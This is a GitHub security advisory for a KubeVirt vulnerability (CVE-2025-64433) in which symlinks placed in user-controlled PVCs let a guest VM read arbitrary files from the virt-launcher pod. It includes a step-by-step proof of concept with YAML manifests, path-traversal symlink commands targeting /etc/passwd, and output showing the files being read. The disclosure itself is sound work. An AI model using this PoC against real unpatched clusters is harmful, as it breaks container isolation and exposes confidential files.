ghsa-qw6q-3pgr-5cwq
Vulnerability from github
Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the virt-launcher pod. This is due to erroneous handling of symlinks defined within a PVC.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
A vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.
Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:
```yaml
The YAML definition of two PVCs that the attacker has access to
apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-1 spec: accessModes: - ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi
apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-2 spec: accessModes: - ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi
The attacker-controlled container used to create the symlinks in the above PVCs
apiVersion: v1 kind: Pod metadata: name: dual-pvc-pod spec: containers: - name: app-container image: alpine command: ["/some-vulnerable-app"] volumeMounts: - name: pvc-volume-one mountPath: /mnt/data1 - name: pvc-volume-two mountPath: /mnt/data2 volumes: - name: pvc-volume-one persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 - name: pvc-volume-two persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2 ```
By default, Minikube's storage controller (hostpath-provisioner) will allocate the claim as a directory on the host node (HostPath). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:
```bash
Using the pvc-arbitrary-container-read-1 PVC we want to read the default XML configuration generated by virt-launcher for libvirt. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.
attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img attacker@dual-pvc-pod:/mnt/data1 $ls -l lrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml
With the pvc-arbitrary-container-read-2 we want to read the /etc/passwd of the virt-launcher container which will launch the future VM
attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img attacker@dual-pvc-pod:/mnt/data2 $ls -l lrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd ```
Of course, these links could potentially be broken as the files, especially default_arbitrary-container-read.xml, could not exist on the dual-pvc-pod pod's file system. The attacker then deploy the following VM:
```yaml
arbitrary-container-read.yaml
apiVersion: kubevirt.io/v1 kind: VirtualMachine metadata: name: arbitrary-container-read spec: runStrategy: Always template: metadata: labels: kubevirt.io/size: small kubevirt.io/domain: arbitrary-container-read spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: pvc-1 disk: bus: virtio - name: pvc-2 disk: bus: virtio - name: cloudinitdisk disk: bus: virtio interfaces: - name: default masquerade: {} resources: requests: memory: 64M networks: - name: default pod: {} volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: pvc-1 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 - name: pvc-2 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2 - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ```
The two PVCs will be mounted as volumes in "filesystem" mode:
From the documentation of the different volume modes, one can infer that if the backing disk.img is not owned by the unprivileged user with UID 107, the VM should fail to mount it. In addition, it's expected that this backing file is in RAW format. While this format can contain pretty much anything, we consider that being able to mount a file from the file system of virt-launcher is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the /etc/passwd and default_migration.xml files from the virt-launcher pod's file system:
```bash
Deploy the VM manifest
operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml virtualmachine.kubevirt.io/arbitrary-container-read created
Observe the deployment status
operator@minikube:~$ kubectl get vmis NAME AGE PHASE IP NODENAME READY arbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True
Initiate a console connection to the running VM
operator@minikube:~$ virtctl console arbitrary-container-read ```
```bash
Within the arbitrary-container-read VM, inspect the available block devices
root@arbitrary-container-read:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 253:0 0 44M 0 disk |-vda1 253:1 0 35M 0 part / -vda15 253:15 0 8M 0 part vdb 253:16 0 20K 0 disk vdc 253:32 0 512B 0 disk vdd 253:48 0 1M 0 disk
Inspect the mounted /etc/passwd of the virt-launcher pod
root@arbitrary-container-read:~$ cat /dev/vdc qemu:x:107:107:user:/home/qemu:/bin/bash root:x:0:0:root:/root:/bin/bash
Inspect the mounted default_migration.xml of the virt-launcher pod
root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20
```
```bash operator@minikube:~$ kubectl get pods NAME READY STATUS RESTARTS AGE dual-pvc-pod 1/1 Running 0 20m virt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m
Inspect the contents of the /etc/passwd file of the virt-launcher pod attached to the VM
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd qemu:x:107:107:user:/home/qemu:/bin/bash root:x:0:0:root:/root:/bin/bash
Inspect the ownership of the /etc/passwd file of the virt-launcher pod
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd -rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd ```
Impact
What kind of vulnerability is it? Who is impacted?
This vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubevirt/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubevirt/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-alpha.0"
},
{
"fixed": "1.6.0-beta.0.0.20250801195231-a81b27d4600c"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubevirt/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-rc.0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64433"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-06T23:33:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nMounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nA vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod\u0027s file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod\u0027s file system. Since `libvirt` can treat regular files as block devices, any file on the pod\u0027s file system that is symlinked in this way can be mounted into the VM and subsequently read.\n\nAlthough a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod\u0027s file system or on a mounted PVC from within the guest VM.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nConsider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:\n\n```yaml\n# The YAML definition of two PVCs that the attacker has access to\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-1\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-2\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\n# The attacker-controlled container used to create the symlinks in the above PVCs\napiVersion: v1\nkind: Pod\nmetadata:\n name: dual-pvc-pod\nspec:\n containers:\n - name: app-container\n image: alpine\n command: [\"/some-vulnerable-app\"]\n volumeMounts:\n - name: pvc-volume-one\n mountPath: /mnt/data1\n - name: pvc-volume-two\n mountPath: /mnt/data2\n volumes:\n - name: pvc-volume-one\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-volume-two\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n```\n\nBy default, Minikube\u0027s storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:\n\n```bash\n# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.\n\nattacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img\nattacker@dual-pvc-pod:/mnt/data1 $ls -l\nlrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -\u003e ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml\n\n# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM\nattacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img \nattacker@dual-pvc-pod:/mnt/data2 $ls -l\nlrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -\u003e ../../../../../../../../etc/passwd\n```\n\nOf course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod\u0027s file system. The attacker then deploy the following VM:\n\n```yaml\n# arbitrary-container-read.yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n name: arbitrary-container-read\nspec:\n runStrategy: Always\n template:\n metadata:\n labels:\n kubevirt.io/size: small\n kubevirt.io/domain: arbitrary-container-read\n spec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n - name: pvc-1\n disk:\n bus: virtio\n - name: pvc-2\n disk:\n bus: virtio\n - name: cloudinitdisk\n disk:\n bus: virtio\n interfaces:\n - name: default\n masquerade: {}\n resources:\n requests:\n memory: 64M\n networks:\n - name: default\n pod: {}\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: pvc-1\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-2\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n - name: cloudinitdisk\n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\nThe two PVCs will be mounted as volumes in \"filesystem\" mode: \n\nFrom the [documentation](https://kubevirt.io/user-guide/storage/disks_and_volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it\u0027s expected that this backing file is in [RAW format](https://www.qemu.org/docs/master/tools/qemu-img.html#notes). While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod\u0027s file system: \n\n```bash\n# Deploy the VM manifest\noperator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml\nvirtualmachine.kubevirt.io/arbitrary-container-read created\n# Observe the deployment status\noperator@minikube:~$ kubectl get vmis\nNAME AGE PHASE IP NODENAME READY\narbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True\n# Initiate a console connection to the running VM\noperator@minikube:~$ virtctl console arbitrary-container-read\n```\n\n```bash\n# Within the `arbitrary-container-read` VM, inspect the available block devices\nroot@arbitrary-container-read:~$ lsblk\nNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT\nvda 253:0 0 44M 0 disk\n|-vda1 253:1 0 35M 0 part /\n-vda15 253:15 0 8M 0 part\nvdb 253:16 0 20K 0 disk\nvdc 253:32 0 512B 0 disk\nvdd 253:48 0 1M 0 disk\n# Inspect the mounted /etc/passwd of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdc\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdb | head -n 20\n\u003c!--\nWARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE\nOVERWRITTEN AND LOST. Changes to this xml configuration should be made using:\n virsh edit default_arbitrary-container-read\nor other application using the libvirt API.\n--\u003e\n\u003cdomstatus state=\u0027paused\u0027 reason=\u0027starting up\u0027 pid=\u002780\u0027\u003e\n \u003cmonitor path=\u0027/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock\u0027 type=\u0027unix\u0027/\u003e\n \u003cvcpus\u003e\n \u003c/vcpus\u003e\n \u003cqemuCaps\u003e\n \u003cflag name=\u0027hda-duplex\u0027/\u003e\n \u003cflag name=\u0027piix3-usb-uhci\u0027/\u003e\n \u003cflag name=\u0027piix4-usb-uhci\u0027/\u003e\n \u003cflag name=\u0027usb-ehci\u0027/\u003e\n \u003cflag name=\u0027ich9-usb-ehci1\u0027/\u003e\n \u003cflag name=\u0027usb-redir\u0027/\u003e\n \u003cflag name=\u0027usb-hub\u0027/\u003e\n \u003cflag name=\u0027ich9-ahci\u0027/\u003e\n```\n\n```bash\noperator@minikube:~$ kubectl get pods\nNAME READY STATUS RESTARTS AGE\ndual-pvc-pod 1/1 Running 0 20m\nvirt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m\n# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM\noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash \n\n# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod \noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd\n-rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.",
"id": "GHSA-qw6q-3pgr-5cwq",
"modified": "2025-11-07T23:08:11Z",
"published": "2025-11-06T23:33:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "KubeVirt Arbitrary Container File Read "
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.